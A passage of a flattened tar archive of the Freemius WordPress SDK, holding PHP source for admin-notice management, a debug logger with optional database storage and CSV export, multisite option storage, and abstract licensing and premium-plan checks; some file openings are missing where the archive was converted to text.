properly when * the context execution is WP AJAX handler, and during plugin * uninstall. * * @author Vova Feldman (@svovaf) * @since 2.0.0 */ function fs_is_network_admin() { return ( WP_FS__IS_NETWORK_ADMIN || ( is_multisite() && fs_is_plugin_uninstall() ) ); } } if ( ! function_exists( 'fs_is_blog_admin' ) ) { /** * Unlike is_blog_admin(), this one will also work properly when * the context execution is WP AJAX handler, and during plugin * uninstall. * * @author Vova Feldman (@svovaf) * @since 2.0.0 */ function fs_is_blog_admin() { return ( WP_FS__IS_BLOG_ADMIN || ( ! is_multisite() && fs_is_plugin_uninstall() ) ); } } #endregion if ( ! function_exists( 'fs_apply_filter' ) ) { /** * Apply filter for specific plugin. * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @param string $module_unique_affix Module's unique affix. * @param string $tag The name of the filter hook. * @param mixed $value The value on which the filters hooked to `$tag` are applied on. * * @return mixed The filtered value after all hooked functions are applied to it. * * @uses apply_filters() */ function fs_apply_filter( $module_unique_affix, $tag, $value ) { $args = func_get_args(); return call_user_func_array( 'apply_filters', array_merge( array( "fs_{$tag}_{$module_unique_affix}" ), array_slice( $args, 2 ) ) ); } } if ( ! function_exists( 'fs_get_optional_constant' ) ) { /** * Gets the value of an optional constant. If the constant is not defined, the default value will be returned. * * @author Swashata Ghosh (@swashata) * @since 2.5.12.5 * * @param string $constant_name * @param mixed $default_value * * @return mixed */ function fs_get_optional_constant( $constant_name, $default_value = null ) { return defined( $constant_name ) ? constant( $constant_name ) : $default_value; } }vendor/freemius/includes/class-fs-admin-notices.php000064400000027167147600365160016467 0ustar00_id = $id; $this->_title = $title; $this->_module_unique_affix = $module_unique_affix; $this->_is_multisite = is_multisite(); if ( $this->_is_multisite ) { $this->_blog_id = get_current_blog_id(); $this->_network_notices = FS_Admin_Notice_Manager::instance( $id, $title, $module_unique_affix, $is_network_and_blog_admins, true ); } $this->_notices = FS_Admin_Notice_Manager::instance( $id, $title, $module_unique_affix, false, $this->_blog_id ); } /** * Add admin message to admin messages queue, and hook to admin_notices / all_admin_notices if not yet hooked. * * @author Vova Feldman (@svovaf) * @since 1.0.4 * * @param string $message * @param string $title * @param string $type * @param bool $is_sticky * @param string $id Message ID * @param bool $store_if_sticky * @param int|null $network_level_or_blog_id * * @uses add_action() */ function add( $message, $title = '', $type = 'success', $is_sticky = false, $id = '', $store_if_sticky = true, $network_level_or_blog_id = null, $is_dimissible = null ) { $notices = $this->get_site_or_network_notices( $id, $network_level_or_blog_id ); $notices->add( $message, $title, $type, $is_sticky, $id, $store_if_sticky, null, null, false, $is_dimissible ); } /** * @author Vova Feldman (@svovaf) * @since 1.0.7 * * @param string|string[] $ids * @param int|null $network_level_or_blog_id * @param bool $store */ function remove_sticky( $ids, $network_level_or_blog_id = null, $store = true ) { if ( ! is_array( $ids ) ) { $ids = array( $ids ); } if ( $this->should_use_network_notices( $ids[0], $network_level_or_blog_id ) ) { $notices = $this->_network_notices; } else { $notices = $this->get_site_notices( $network_level_or_blog_id ); } return $notices->remove_sticky( $ids, $store ); } /** * Check if sticky message exists by id. * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @param string $id * @param int|null $network_level_or_blog_id * * @return bool */ function has_sticky( $id, $network_level_or_blog_id = null ) { $notices = $this->get_site_or_network_notices( $id, $network_level_or_blog_id ); return $notices->has_sticky( $id ); } /** * Adds sticky admin notification. * * @author Vova Feldman (@svovaf) * @since 1.0.7 * * @param string $message * @param string $id Message ID * @param string $title * @param string $type * @param int|null $network_level_or_blog_id * @param number|null $wp_user_id * @param string|null $plugin_title * @param bool $is_network_and_blog_admins Whether or not the message should be shown both on network and * blog admin pages. * @param bool $is_dismissible */ function add_sticky( $message, $id, $title = '', $type = 'success', $network_level_or_blog_id = null, $wp_user_id = null, $plugin_title = null, $is_network_and_blog_admins = false, $is_dismissible = true, $data = array() ) { $notices = $this->get_site_or_network_notices( $id, $network_level_or_blog_id ); $notices->add_sticky( $message, $id, $title, $type, $wp_user_id, $plugin_title, $is_network_and_blog_admins, $is_dismissible, $data ); } /** * Retrieves the data of a sticky notice. * * @author Leo Fajardo (@leorw) * @since 2.4.3 * * @param string $id * @param int|null $network_level_or_blog_id * * @return array|null */ function get_sticky( $id, $network_level_or_blog_id ) { $notices = $this->get_site_or_network_notices( $id, $network_level_or_blog_id ); return $notices->get_sticky( $id ); } /** * Clear all sticky messages. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param int|null $network_level_or_blog_id * @param bool $is_temporary */ function clear_all_sticky( $network_level_or_blog_id = null, $is_temporary = false ) { if ( ! $this->_is_multisite || false === $network_level_or_blog_id || 0 == $network_level_or_blog_id || is_null( $network_level_or_blog_id ) ) { $notices = $this->get_site_notices( $network_level_or_blog_id ); $notices->clear_all_sticky( $is_temporary ); } if ( $this->_is_multisite && ( true === $network_level_or_blog_id || is_null( $network_level_or_blog_id ) ) ) { $this->_network_notices->clear_all_sticky( $is_temporary ); } } /** * Add admin message to all admin messages queue, and hook to all_admin_notices if not yet hooked. * * @author Vova Feldman (@svovaf) * @since 1.0.4 * * @param string $message * @param string $title * @param string $type * @param bool $is_sticky * @param string $id Message ID */ function add_all( $message, $title = '', $type = 'success', $is_sticky = false, $id = '' ) { $this->add( $message, $title, $type, $is_sticky, true, $id ); } #-------------------------------------------------------------------------------- #region Helper Methods #-------------------------------------------------------------------------------- /** * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param int $blog_id * * @return FS_Admin_Notice_Manager */ private function get_site_notices( $blog_id = 0 ) { if ( 0 == $blog_id || $blog_id == $this->_blog_id ) { return $this->_notices; } return FS_Admin_Notice_Manager::instance( $this->_id, $this->_title, $this->_module_unique_affix, false, $blog_id ); } /** * Check if the network notices should be used. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param string $id * @param null|bool|int $network_level_or_blog_id When an integer, use the given blog storage. When `true` use the multisite notices (if there's a network). When `false`, use the current context blog notices. When `null`, the decision which notices manager to use (MS vs. Current S) will be handled internally and determined based on the $id and the context admin (blog admin vs. network level admin). * * @return bool */ private function should_use_network_notices( $id = '', $network_level_or_blog_id = null ) { if ( ! $this->_is_multisite ) { // Not a multisite environment. return false; } if ( is_numeric( $network_level_or_blog_id ) ) { // Explicitly asked to use a specified blog storage. return false; } if ( is_bool( $network_level_or_blog_id ) ) { // Explicitly specified whether should use the network or blog level storage. return $network_level_or_blog_id; } return fs_is_network_admin(); } /** * Retrieves an instance of FS_Admin_Notice_Manager. * * @author Leo Fajardo (@leorw) * @since 2.5.0 * * @param string $id * @param int|null $network_level_or_blog_id * * @return FS_Admin_Notice_Manager */ private function get_site_or_network_notices( $id, $network_level_or_blog_id ) { return $this->should_use_network_notices( $id, $network_level_or_blog_id ) ? $this->_network_notices : $this->get_site_notices( $network_level_or_blog_id ); } #endregion }vendor/freemius/includes/class-fs-logger.php000064400000041420147600365160015200 0ustar00_id = $id; $caller = $bt[2]; if ( false !== strpos( $caller['file'], 'plugins' ) ) { $this->_file_start = strpos( $caller['file'], 'plugins' ) + strlen( 'plugins/' ); } else { $this->_file_start = strpos( $caller['file'], 'themes' ) + strlen( 'themes/' ); } if ( $on ) { $this->on(); } if ( $echo ) { $this->echo_on(); } } /** * @param string $id * @param bool $on * @param bool $echo * * @return FS_Logger */ public static function get_logger( $id, $on = false, $echo = false ) { $id = strtolower( $id ); if ( ! isset( self::$_processID ) ) { self::init(); } if ( ! isset( self::$LOGGERS[ $id ] ) ) { self::$LOGGERS[ $id ] = new FS_Logger( $id, $on, $echo ); } return self::$LOGGERS[ $id ]; } /** * Initialize logging global info. * * @author Vova Feldman (@svovaf) * @since 1.2.1.6 */ private static function init() { self::$_ownerName = function_exists( 'get_current_user' ) ? get_current_user() : 'unknown'; self::$_isStorageLoggingOn = ( 1 == get_option( 'fs_storage_logger', 0 ) ); self::$_abspathLength = strlen( ABSPATH ); self::$_processID = mt_rand( 0, 32000 ); // Process ID may be `false` on errors. if ( ! is_numeric( self::$_processID ) ) { self::$_processID = 0; } } private static function hook_footer() { if ( self::$_HOOKED_FOOTER ) { return; } if ( is_admin() ) { add_action( 'admin_footer', 'FS_Logger::dump', 100 ); } else { add_action( 'wp_footer', 'FS_Logger::dump', 100 ); } } function is_on() { return $this->_on; } function on() { $this->_on = true; if ( ! function_exists( 'dbDelta' ) ) { require_once ABSPATH . 'wp-admin/includes/upgrade.php'; } self::hook_footer(); } function echo_on() { $this->on(); $this->_echo = true; } function is_echo_on() { return $this->_echo; } function get_id() { return $this->_id; } function get_file() { return $this->_file_start; } private function _log( &$message, $type, $wrapper = false ) { if ( ! $this->is_on() ) { return; } $bt = debug_backtrace(); $depth = $wrapper ? 3 : 2; while ( $depth < count( $bt ) - 1 && 'eval' === $bt[ $depth ]['function'] ) { $depth ++; } $caller = $bt[ $depth ]; /** * Retrieve the correct call file & line number from backtrace * when logging from a wrapper method. * * @author Vova Feldman * @since 1.2.1.6 */ if ( empty( $caller['line'] ) ) { $depth --; while ( $depth >= 0 ) { if ( ! empty( $bt[ $depth ]['line'] ) ) { $caller['line'] = $bt[ $depth ]['line']; $caller['file'] = $bt[ $depth ]['file']; break; } } } $log = array_merge( $caller, array( 'cnt' => self::$CNT ++, 'logger' => $this, 'timestamp' => microtime( true ), 'log_type' => $type, 'msg' => $message, ) ); if ( self::$_isStorageLoggingOn ) { $this->db_log( $type, $message, self::$CNT, $caller ); } self::$LOG[] = $log; if ( $this->is_echo_on() && ! Freemius::is_ajax() ) { echo self::format_html( $log ) . "\n"; } } function log( $message, $wrapper = false ) { $this->_log( $message, 'log', $wrapper ); } function info( $message, $wrapper = false ) { $this->_log( $message, 'info', $wrapper ); } function warn( $message, $wrapper = false ) { $this->_log( $message, 'warn', $wrapper ); } function error( $message, $wrapper = false ) { $this->_log( $message, 'error', $wrapper ); } /** * Log API error. * * @author Vova Feldman (@svovaf) * @since 1.2.1.5 * * @param mixed $api_result * @param bool $wrapper */ function api_error( $api_result, $wrapper = false ) { $message = ''; if ( is_object( $api_result ) && ! empty( $api_result->error ) && ! empty( $api_result->error->message ) ) { $message = $api_result->error->message; } else if ( is_object( $api_result ) ) { $message = var_export( $api_result, true ); } else if ( is_string( $api_result ) ) { $message = $api_result; } else if ( empty( $api_result ) ) { $message = 'Empty API result.'; } $message = 'API Error: ' . $message; $this->_log( $message, 'error', $wrapper ); } function entrance( $message = '', $wrapper = false ) { $msg = 'Entrance' . ( empty( $message ) ? '' : ' > ' ) . $message; $this->_log( $msg, 'log', $wrapper ); } function departure( $message = '', $wrapper = false ) { $msg = 'Departure' . ( empty( $message ) ? '' : ' > ' ) . $message; $this->_log( $msg, 'log', $wrapper ); } #-------------------------------------------------------------------------------- #region Log Formatting #-------------------------------------------------------------------------------- private static function format( $log, $show_type = true ) { return '[' . str_pad( $log['cnt'], strlen( self::$CNT ), '0', STR_PAD_LEFT ) . '] [' . $log['logger']->_id . '] ' . ( $show_type ? '[' . $log['log_type'] . ']' : '' ) . ( ! empty( $log['class'] ) ? $log['class'] . $log['type'] : '' ) . $log['function'] . ' >> ' . $log['msg'] . ( isset( $log['file'] ) ? ' (' . substr( $log['file'], $log['logger']->_file_start ) . ' ' . $log['line'] . ') ' : '' ) . ' [' . $log['timestamp'] . ']'; } private static function format_html( $log ) { return '
                  [' . $log['cnt'] . '] [' . $log['logger']->_id . '] [' . $log['log_type'] . '] ' . ( ! empty( $log['class'] ) ? $log['class'] . $log['type'] : '' ) . $log['function'] . ' >> ' . esc_html( $log['msg'] ) . '' . ( isset( $log['file'] ) ? ' (' . substr( $log['file'], $log['logger']->_file_start ) . ' ' . $log['line'] . ')' : '' ) . ' [' . $log['timestamp'] . ']
                  '; } #endregion static function dump() { ?> prefix}fs_logger"; if ( $is_on ) { /** * Create logging table. * * NOTE: * dbDelta must use KEY and not INDEX for indexes. * * @link https://core.trac.wordpress.org/ticket/2695 */ $result = $wpdb->query( "CREATE TABLE {$table} ( `id` BIGINT(20) UNSIGNED NOT NULL AUTO_INCREMENT, `process_id` INT UNSIGNED NOT NULL, `user_name` VARCHAR(64) NOT NULL, `logger` VARCHAR(128) NOT NULL, `log_order` INT UNSIGNED NOT NULL, `type` ENUM('log','info','warn','error') NOT NULL DEFAULT 'log', `message` TEXT NOT NULL, `file` VARCHAR(256) NOT NULL, `line` INT UNSIGNED NOT NULL, `function` VARCHAR(256) NOT NULL, `request_type` ENUM('call','ajax','cron') NOT NULL DEFAULT 'call', `request_url` VARCHAR(1024) NOT NULL, `created` DECIMAL(16, 6) NOT NULL, PRIMARY KEY (`id`), KEY `process_id` (`process_id` ASC), KEY `process_logger` (`process_id` ASC, `logger` ASC), KEY `function` (`function` ASC), KEY `type` (`type` ASC))" ); } else { /** * Drop logging table. */ $result = $wpdb->query( "DROP TABLE IF EXISTS $table;" ); } if ( false !== $result ) { update_option( 'fs_storage_logger', ( $is_on ? 1 : 0 ) ); } return ( false !== $result ); } /** * @author Vova Feldman (@svovaf) * @since 1.2.1.6 * * @param string $type * @param string $message * @param int $log_order * @param array $caller * * @return false|int */ private function db_log( &$type, &$message, &$log_order, &$caller ) { global $wpdb; $request_type = 'call'; if ( defined( 'DOING_CRON' ) && DOING_CRON ) { $request_type = 'cron'; } else if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) { $request_type = 'ajax'; } $request_url = WP_FS__IS_HTTP_REQUEST ? $_SERVER['REQUEST_URI'] : ''; return $wpdb->insert( "{$wpdb->prefix}fs_logger", array( 'process_id' => self::$_processID, 'user_name' => self::$_ownerName, 'logger' => $this->_id, 'log_order' => $log_order, 'type' => $type, 'request_type' => $request_type, 'request_url' => $request_url, 'message' => $message, 'file' => isset( $caller['file'] ) ? substr( $caller['file'], self::$_abspathLength ) : '', 'line' => $caller['line'], 'function' => ( ! empty( $caller['class'] ) ? $caller['class'] . $caller['type'] : '' ) . $caller['function'], 'created' => microtime( true ), ) ); } /** * Persistent DB logger columns. * * @var array */ private static $_log_columns = array( 'id', 'process_id', 'user_name', 'logger', 'log_order', 'type', 'message', 'file', 'line', 'function', 'request_type', 'request_url', 'created', ); /** * Create DB logs query. * * @author Vova Feldman (@svovaf) * @since 1.2.1.6 * * @param bool $filters * @param int $limit * @param int $offset * @param bool $order * @param bool $escape_eol * * @return string */ private static function build_db_logs_query( $filters = false, $limit = 200, $offset = 0, $order = false, $escape_eol = false ) { global $wpdb; $select = '*'; if ( $escape_eol ) { $select = ''; for ( $i = 0, $len = count( self::$_log_columns ); $i < $len; $i ++ ) { if ( $i > 0 ) { $select .= ', '; } if ( 'message' !== self::$_log_columns[ $i ] ) { $select .= self::$_log_columns[ $i ]; } else { $select .= 'REPLACE(message , \'\n\', \' \') AS message'; } } } $query = "SELECT {$select} FROM {$wpdb->prefix}fs_logger"; if ( is_array( $filters ) ) { $criteria = array(); if ( ! empty( $filters['type'] ) && 'all' !== $filters['type'] ) { $filters['type'] = strtolower( $filters['type'] ); switch ( $filters['type'] ) { case 'warn_error': $criteria[] = array( 'col' => 'type', 'val' => array( 'warn', 'error' ) ); break; case 'error': case 'warn': $criteria[] = array( 'col' => 'type', 'val' => $filters['type'] ); break; case 'info': default: $criteria[] = array( 'col' => 'type', 'val' => array( 'info', 'log' ) ); break; } } if ( ! empty( $filters['request_type'] ) ) { $filters['request_type'] = strtolower( $filters['request_type'] ); if ( in_array( $filters['request_type'], array( 'call', 'ajax', 'cron' ) ) ) { $criteria[] = array( 'col' => 'request_type', 'val' => $filters['request_type'] ); } } if ( ! empty( $filters['file'] ) ) { $criteria[] = array( 'col' => 'file', 'op' => 'LIKE', 'val' => '%' . esc_sql( $filters['file'] ), ); } if ( ! empty( $filters['function'] ) ) { $criteria[] = array( 'col' => 'function', 'op' => 'LIKE', 'val' => '%' . esc_sql( $filters['function'] ), ); } if ( ! empty( $filters['process_id'] ) && is_numeric( $filters['process_id'] ) ) { $criteria[] = array( 'col' => 'process_id', 'val' => $filters['process_id'] ); } if ( ! empty( $filters['logger'] ) ) { $criteria[] = array( 'col' => 'logger', 'op' => 'LIKE', 'val' => '%' . esc_sql( $filters['logger'] ) . '%', ); } if ( ! empty( $filters['message'] ) ) { $criteria[] = array( 'col' => 'message', 'op' => 'LIKE', 'val' => '%' . esc_sql( $filters['message'] ) . '%', ); } if ( 0 < count( $criteria ) ) { $query .= "\nWHERE\n"; $first = true; foreach ( $criteria as $c ) { if ( ! $first ) { $query .= "AND\n"; } if ( is_array( $c['val'] ) ) { $operator = 'IN'; for ( $i = 0, $len = count( $c['val'] ); $i < $len; $i ++ ) { $c['val'][ $i ] = "'" . esc_sql( $c['val'][ $i ] ) . "'"; } $val = '(' . implode( ',', $c['val'] ) . ')'; } else { $operator = ! empty( $c['op'] ) ? $c['op'] : '='; $val = "'" . esc_sql( $c['val'] ) . "'"; } $query .= "`{$c['col']}` {$operator} {$val}\n"; $first = false; } } } if ( ! is_array( $order ) ) { $order = array( 'col' => 'id', 'order' => 'desc' ); } $query .= " ORDER BY {$order['col']} {$order['order']} LIMIT {$offset},{$limit}"; return $query; } /** * Load logs from DB. * * @author Vova Feldman (@svovaf) * @since 1.2.1.6 * * @param bool $filters * @param int $limit * @param int $offset * @param bool $order * * @return object[]|null */ public static function load_db_logs( $filters = false, $limit = 200, $offset = 0, $order = false ) { global $wpdb; $query = self::build_db_logs_query( $filters, $limit, $offset, $order ); return $wpdb->get_results( $query ); } /** * Load logs from DB. * * @author Vova Feldman (@svovaf) * @since 1.2.1.6 * * @param bool $filters * @param string $filename * @param int $limit * @param int $offset * @param bool $order * * @return false|string File download URL or false on failure. */ public static function download_db_logs( $filters = false, $filename = '', $limit = 10000, $offset = 0, $order = false ) { global $wpdb; $query = self::build_db_logs_query( $filters, $limit, $offset, $order, true ); $upload_dir = wp_upload_dir(); if ( empty( $filename ) ) { $filename = 'fs-logs-' . date( 'Y-m-d_H-i-s', WP_FS__SCRIPT_START_TIME ) . '.csv'; } $filepath = rtrim( $upload_dir['path'], '/' ) . "/{$filename}"; $query .= " INTO OUTFILE '{$filepath}' FIELDS TERMINATED BY '\t' ESCAPED BY '\\\\' OPTIONALLY ENCLOSED BY '\"' LINES TERMINATED BY '\\n'"; $columns = ''; for ( $i = 0, $len = count( self::$_log_columns ); $i < $len; $i ++ ) { if ( $i > 0 ) { $columns .= ', '; } $columns .= "'" . self::$_log_columns[ $i ] . "'"; } $query = "SELECT {$columns} UNION ALL " . $query; $result = $wpdb->query( $query ); if ( false === $result ) { return false; } return rtrim( $upload_dir['url'], '/' ) . '/' . $filename; } /** * @author Vova Feldman (@svovaf) * @since 1.2.1.6 * * @param string $filename * * @return string */ public static function get_logs_download_url( $filename = '' ) { $upload_dir = wp_upload_dir(); if ( empty( $filename ) ) { $filename = 'fs-logs-' . date( 'Y-m-d_H-i-s', WP_FS__SCRIPT_START_TIME ) . '.csv'; } return rtrim( $upload_dir['url'], '/' ) . $filename; } #endregion } vendor/freemius/includes/class-fs-options.php000064400000041105147600365160015414 0ustar00_id = $id; $this->_is_multisite = is_multisite(); if ( $this->_is_multisite ) { $this->_blog_id = get_current_blog_id(); $this->_network_options = FS_Option_Manager::get_manager( $id, $load, true ); } $this->_options = FS_Option_Manager::get_manager( $id, $load, $this->_blog_id ); } /** * Switch the context of the site level options manager. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param $blog_id */ function set_site_blog_context( $blog_id ) { $this->_blog_id = $blog_id; $this->_options = FS_Option_Manager::get_manager( $this->_id, false, $this->_blog_id ); } /** * @author Leo Fajardo (@leorw) * * @param string $option * @param mixed $default * @param null|bool|int $network_level_or_blog_id When an integer, use the given blog storage. When `true` use the multisite storage (if there's a network). When `false`, use the current context blog storage. When `null`, the decision which storage to use (MS vs. Current S) will be handled internally and determined based on the $option (based on self::$_SITE_LEVEL_PARAMS). * * @return mixed */ function get_option( $option, $default = null, $network_level_or_blog_id = null ) { if ( $this->should_use_network_storage( $option, $network_level_or_blog_id ) ) { return $this->_network_options->get_option( $option, $default ); } $site_options = $this->get_site_options( $network_level_or_blog_id ); return $site_options->get_option( $option, $default ); } /** * @author Leo Fajardo (@leorw) * @since 2.0.0 * * @param string $option * @param mixed $value * @param bool $flush * @param null|bool|int $network_level_or_blog_id When an integer, use the given blog storage. When `true` use the multisite storage (if there's a network). When `false`, use the current context blog storage. When `null`, the decision which storage to use (MS vs. Current S) will be handled internally and determined based on the $option (based on self::$_SITE_LEVEL_PARAMS). */ function set_option( $option, $value, $flush = false, $network_level_or_blog_id = null ) { if ( $this->should_use_network_storage( $option, $network_level_or_blog_id ) ) { $this->_network_options->set_option( $option, $value, $flush ); } else { $site_options = $this->get_site_options( $network_level_or_blog_id ); $site_options->set_option( $option, $value, $flush ); } } /** * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param string $option * @param bool $flush * @param null|bool|int $network_level_or_blog_id When an integer, use the given blog storage. When `true` use the multisite storage (if there's a network). When `false`, use the current context blog storage. When `null`, the decision which storage to use (MS vs. Current S) will be handled internally and determined based on the $option (based on self::$_SITE_LEVEL_PARAMS). */ function unset_option( $option, $flush = false, $network_level_or_blog_id = null ) { if ( $this->should_use_network_storage( $option, $network_level_or_blog_id ) ) { $this->_network_options->unset_option( $option, $flush ); } else { $site_options = $this->get_site_options( $network_level_or_blog_id ); $site_options->unset_option( $option, $flush ); } } /** * @author Leo Fajardo (@leorw) * @since 2.0.0 * * @param bool $flush * @param bool $network_level */ function load( $flush = false, $network_level = true ) { if ( $this->_is_multisite && $network_level ) { $this->_network_options->load( $flush ); } else { $this->_options->load( $flush ); } } /** * @author Leo Fajardo (@leorw) * @since 2.0.0 * * @param null|bool|int $network_level_or_blog_id When an integer, use the given blog storage. When `true` use the multisite storage (if there's a network). When `false`, use the current context blog storage. When `null`, store both network storage and the current context blog storage. */ function store( $network_level_or_blog_id = null ) { if ( ! $this->_is_multisite || false === $network_level_or_blog_id || 0 == $network_level_or_blog_id || is_null( $network_level_or_blog_id ) ) { $site_options = $this->get_site_options( $network_level_or_blog_id ); $site_options->store(); } if ( $this->_is_multisite && ( is_null( $network_level_or_blog_id ) || true === $network_level_or_blog_id ) ) { $this->_network_options->store(); } } /** * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param int|null|bool $network_level_or_blog_id * @param bool $flush */ function clear( $network_level_or_blog_id = null, $flush = false ) { if ( ! $this->_is_multisite || false === $network_level_or_blog_id || is_null( $network_level_or_blog_id ) || is_numeric( $network_level_or_blog_id ) ) { $site_options = $this->get_site_options( $network_level_or_blog_id ); $site_options->clear( $flush ); } if ( $this->_is_multisite && ( true === $network_level_or_blog_id || is_null( $network_level_or_blog_id ) ) ) { $this->_network_options->clear( $flush ); } } /** * Migration script to the new storage data structure that is network compatible. * * IMPORTANT: * This method should be executed only after it is determined if this is a network * level compatible product activation. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param int $blog_id */ function migrate_to_network( $blog_id = 0 ) { if ( ! $this->_is_multisite ) { return; } $updated = false; $site_options = $this->get_site_options( $blog_id ); $keys = $site_options->get_options_keys(); foreach ( $keys as $option ) { if ( $this->is_site_option( $option ) || // Don't move admin notices to the network storage. in_array($option, array( // Don't move admin notices to the network storage. 'admin_notices', // Don't migrate the module specific data, it will be migrated by the FS_Storage. 'plugin_data', 'theme_data', )) ) { continue; } $option_updated = false; // Migrate option to the network storage. $site_option = $site_options->get_option( $option ); if ( ! $this->_network_options->has_option( $option ) ) { // Option not set on the network level, so just set it. $this->_network_options->set_option( $option, $site_option, false ); $option_updated = true; } else { // Option already set on the network level, so we need to merge it inelegantly. $network_option = $this->_network_options->get_option( $option ); if ( is_array( $network_option ) && is_array( $site_option ) ) { // Option is an array. foreach ( $site_option as $key => $value ) { if ( ! isset( $network_option[ $key ] ) ) { $network_option[ $key ] = $value; $option_updated = true; } else if ( is_array( $network_option[ $key ] ) && is_array( $value ) ) { if ( empty( $network_option[ $key ] ) ) { $network_option[ $key ] = $value; $option_updated = true; } else if ( empty( $value ) ) { // Do nothing. } else { reset($value); $first_key = key($value); if ( $value[$first_key] instanceof FS_Entity ) { // Merge entities by IDs. $network_entities_ids = array(); foreach ( $network_option[ $key ] as $entity ) { $network_entities_ids[ $entity->id ] = true; } foreach ( $value as $entity ) { if ( ! isset( $network_entities_ids[ $entity->id ] ) ) { $network_option[ $key ][] = $entity; $option_updated = true; } } } } } } } if ( $option_updated ) { $this->_network_options->set_option( $option, $network_option, false ); } } /** * Remove the option from site level storage. * * IMPORTANT: * The line below is intentionally commented since we want to preserve the option * on the site storage level for "downgrade compatibility". Basically, if the user * will downgrade to an older version of the plugin with the prev storage structure, * it will continue working. * * @todo After a few releases we can remove this. */ // $site_options->unset_option($option, false); if ( $option_updated ) { $updated = true; } } if ( ! $updated ) { return; } // Update network level storage. $this->_network_options->store(); // $site_options->store(); } #-------------------------------------------------------------------------------- #region Helper Methods #-------------------------------------------------------------------------------- /** * We don't want to load the map right away since it's not even needed in a non-MS environment. * * @author Vova Feldman (@svovaf) * @since 2.0.0 */ private static function load_site_options_map() { self::$_SITE_OPTIONS_MAP = array( 'sites' => true, 'theme_sites' => true, 'unique_id' => true, 'active_plugins' => true, ); } /** * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param string $option * * @return bool */ private function is_site_option( $option ) { if ( WP_FS__ACCOUNTS_OPTION_NAME != $this->_id ) { return false; } if ( ! isset( self::$_SITE_OPTIONS_MAP ) ) { self::load_site_options_map(); } return isset( self::$_SITE_OPTIONS_MAP[ $option ] ); } /** * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param int $blog_id * * @return FS_Option_Manager */ private function get_site_options( $blog_id = 0 ) { if ( 0 == $blog_id || $blog_id == $this->_blog_id ) { return $this->_options; } return FS_Option_Manager::get_manager( $this->_id, true, $blog_id ); } /** * Check if an option should be stored on the MS network storage. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param string $option * @param null|bool|int $network_level_or_blog_id When an integer, use the given blog storage. When `true` use the multisite storage (if there's a network). When `false`, use the current context blog storage. When `null`, the decision which storage to use (MS vs. Current S) will be handled internally and determined based on the $option (based on self::$_SITE_LEVEL_PARAMS). * * @return bool */ private function should_use_network_storage( $option, $network_level_or_blog_id = null ) { if ( ! $this->_is_multisite ) { // Not a multisite environment. return false; } if ( is_numeric( $network_level_or_blog_id ) ) { // Explicitly asked to use a specified blog storage. return false; } if ( is_bool( $network_level_or_blog_id ) ) { // Explicitly specified whether should use the network or blog level storage. return $network_level_or_blog_id; } // Determine which storage to use based on the option. return ! $this->is_site_option( $option ); } #endregion }vendor/freemius/includes/class-freemius-abstract.php000064400000027761147600365160016747 0ustar00is_registered() && $fs->is_tracking_allowed()` * * @since 1.0.1 * * @param bool $ignore_anonymous_state Since 2.5.1 * * @return bool */ abstract function is_registered( $ignore_anonymous_state = false ); /** * Check if the user skipped connecting the account with Freemius. * * @since 1.0.7 * * @return bool */ abstract function is_anonymous(); /** * Check if the user currently in activation mode. * * @since 1.0.7 * * @return bool */ abstract function is_activation_mode(); #endregion #---------------------------------------------------------------------------------- #region Module Type #---------------------------------------------------------------------------------- /** * Checks if the plugin's type is "plugin". The other type is "theme". * * @author Leo Fajardo (@leorw) * @since 1.2.2 * * @return bool */ abstract function is_plugin(); /** * Checks if the module type is "theme". The other type is "plugin". * * @author Leo Fajardo (@leorw) * @since 1.2.2 * * @return bool */ function is_theme() { return ( ! $this->is_plugin() ); } #endregion #---------------------------------------------------------------------------------- #region Permissions #---------------------------------------------------------------------------------- /** * Check if plugin must be WordPress.org compliant. * * @since 1.0.7 * * @return bool */ abstract function is_org_repo_compliant(); /** * Check if plugin is allowed to install executable files. * * @author Vova Feldman (@svovaf) * @since 1.0.5 * * @return bool */ function is_allowed_to_install() { return ( $this->is_premium() || ! $this->is_org_repo_compliant() ); } #endregion /** * Check if user in trial or in free plan (not paying). * * @author Vova Feldman (@svovaf) * @since 1.0.4 * * @return bool */ function is_not_paying() { return ( $this->is_trial() || $this->is_free_plan() ); } /** * Check if the user has an activated and valid paid license on current plugin's install. * * @since 1.0.9 * * @return bool */ abstract function is_paying(); /** * Check if the user is paying or in trial. * * @since 1.0.9 * * @return bool */ function is_paying_or_trial() { return ( $this->is_paying() || $this->is_trial() ); } /** * Check if user in a trial or have feature enabled license. * * @author Vova Feldman (@svovaf) * @since 1.1.7 * * @return bool */ abstract function can_use_premium_code(); #---------------------------------------------------------------------------------- #region Premium Only #---------------------------------------------------------------------------------- /** * All logic wrapped in methods with "__premium_only()" suffix will be only * included in the premium code. * * Example: * if ( freemius()->is__premium_only() ) { * ... * } */ /** * Returns true when running premium plugin code. * * @since 1.0.9 * * @return bool */ function is__premium_only() { return $this->is_premium(); } /** * Check if the user has an activated and valid paid license on current plugin's install. * * @since 1.0.9 * * @return bool * */ function is_paying__premium_only() { return ( $this->is__premium_only() && $this->is_paying() ); } /** * All code wrapped in this statement will be only included in the premium code. * * @since 1.0.9 * * @param string $plan Plan name. * @param bool $exact If true, looks for exact plan. If false, also check "higher" plans. * * @return bool */ function is_plan__premium_only( $plan, $exact = false ) { return ( $this->is_premium() && $this->is_plan( $plan, $exact ) ); } /** * Check if plan matches active license' plan or active trial license' plan. * * All code wrapped in this statement will be only included in the premium code. * * @since 1.0.9 * * @param string $plan Plan name. * @param bool $exact If true, looks for exact plan. If false, also check "higher" plans. * * @return bool */ function is_plan_or_trial__premium_only( $plan, $exact = false ) { return ( $this->is_premium() && $this->is_plan_or_trial( $plan, $exact ) ); } /** * Check if the user is paying or in trial. * * All code wrapped in this statement will be only included in the premium code. * * @since 1.0.9 * * @return bool */ function is_paying_or_trial__premium_only() { return $this->is_premium() && $this->is_paying_or_trial(); } /** * Check if the user has an activated and valid paid license on current plugin's install. * * @since 1.0.4 * * 